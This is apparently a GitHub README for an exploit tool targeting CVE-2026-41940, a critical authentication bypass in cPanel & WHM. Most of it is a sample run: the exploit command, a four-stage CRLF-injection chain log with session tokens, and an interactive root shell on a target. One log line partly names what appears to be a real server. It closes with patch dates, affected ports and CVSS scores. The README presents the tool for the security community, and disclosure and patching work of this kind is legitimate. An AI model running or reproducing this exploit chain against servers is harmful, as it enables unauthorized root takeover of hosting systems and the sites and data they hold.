0xblackash/cve-2026-41940CVE-2026-41940
CVE-2026-41940 is a critical authentication bypass vulnerability affecting cPanel & WHM and WP Squared.
An unauthenticated remote attacker can completely bypass login and gain full administrative (root/WHM) access to the server.
The flaw was actively exploited in the wild before the patch was released.
~1.5 million cPanel instances were potentially exposed at the time of disclosure.
Successful exploitation allows attackers to:
You should see something like this if it works:
┌──(kali㉿kali)-[~]
└─$ sudo python3 CVE-2026-41940.py -u https://xx.xx.xx.xx:2087 --action shell
[sudo] password for kali:
██████╗ ██╗ ██╗██████╗ ██╗ █████╗ ██████╗██╗ ██╗ █████╗ ███████╗██╗ ██╗
██╔═████╗╚██╗██╔╝██╔══██╗██║ ██╔══██╗██╔════╝██║ ██╔╝██╔══██╗██╔════╝██║ ██║
██║██╔██║ ╚███╔╝ ██████╔╝██║ ███████║██║ █████╔╝ ███████║███████╗███████║
████╔╝██║ ██╔██╗ ██╔══██╗██║ ██╔══██║██║ ██╔═██╗ ██╔══██║╚════██║██╔══██║
╚██████╔╝██╔╝ ██╗██████╔╝███████╗██║ ██║╚██████╗██║ ██╗██║ ██║███████║██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
CVE-2026-41940 — cPanel & WHM Auth Bypass via CRLF Injection
4-stage: preauth → CRLF inject → propagate → verify → post-exploit
Author : Ashraf Zaryouh / @0xBlackash
Configuration:
Targets : 1
Threads : 10
Timeout : 15s
Action : shell
13:41:18 [SCAN] Starting 4-stage exploit chain... https://xx.xx.xx.xx:2087
13:41:19 [INFO] Canonical hostname discovered: server.xxxxxxx.xx
13:41:19 [INFO] Canonical: server.softsms.in
13:41:19 [STEP] Stage 1/4 — Minting preauth session...
13:41:20 [ OK] Stage1: preauth session = :W43DhFApxxxD8Jdw...
13:41:20 [STEP] Stage 2/4 — CRLF injection via Authorization header...
13:41:21 [ OK] Stage2: HTTP 307 → token=/cpsess263xxxx267
13:41:21 [STEP] Stage 3/4 — Firing do_token_denied gadget (raw→cache)...
13:41:22 [ OK] Stage3: HTTP 401 — do_token_denied gadget fired
13:41:22 [STEP] Stage 4/4 — Verifying WHM root access...
13:41:24 [INFO] Stage4: HTTP 200 {"version":"11.86.0.40"}
13:41:24 [PWND] CVE-2026-41940 CONFIRMED — WHM root access! https://xx.xx.xx.xx:2087
13:41:24 [PWND] Token : /cpsess2634xxxx267
13:41:24 [PWND] Session : :W43DhFApxxxD8Jdw...
13:41:24 [PWND] Version : 11.86.0.40
13:41:24 [PWND] API URL : https://xx.xx.xx.xx:2087/cpsess2634xxxx267/json-api/version
13:41:24 [ API] Running post-exploit action: shell
════════════════════════════════════════════════════════════
WHM Shell — server.xxxxxxx.xx
Version: CVE-2026-41940 | Auth: CRLF bypass
Type 'help' for commands, 'exit' to quit
════════════════════════════════════════════════════════════
[email protected] ▶ id
13:41:28 [ API] gethostname → HTTP 500
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ exit
Exiting shell.
══════════════════════════════════════════════════════════════════════
CVE-2026-41940.py — CVE-2026-41940 Scan Complete
Time: 13.9s · Targets: 1
──────────────────────────────────────────────────────────────────────
⚡ 1 VULNERABLE TARGET(S)
Target : https://xx.xx.xx.xx:2087
Version : 11.86.0.40
Token : /cpsess263xxxx267
API URL : https://xx.xx.xx.xx:2087/cpsess2634xxxx267/json-api/version
Session : :W43DhFApxxxD8Jdw...
Evidence : {"version":"11.86.0.40"}
══════════════════════════════════════════════════════════════════════
Patched on April 28, 2026
Immediate Action Recommended
2082, 2083, 2086, 2087Made with ❤️ for the security community
Last Updated: May 2026
| Metric | Value |
|---|
| CVSS 3.1 Score | 9.8 (Critical) |
| CVSS 4.0 Score | 9.3 (Critical) |
| Attack Vector | Network |
| Complexity | Low |
| Privileges | None |
| User Interaction | None |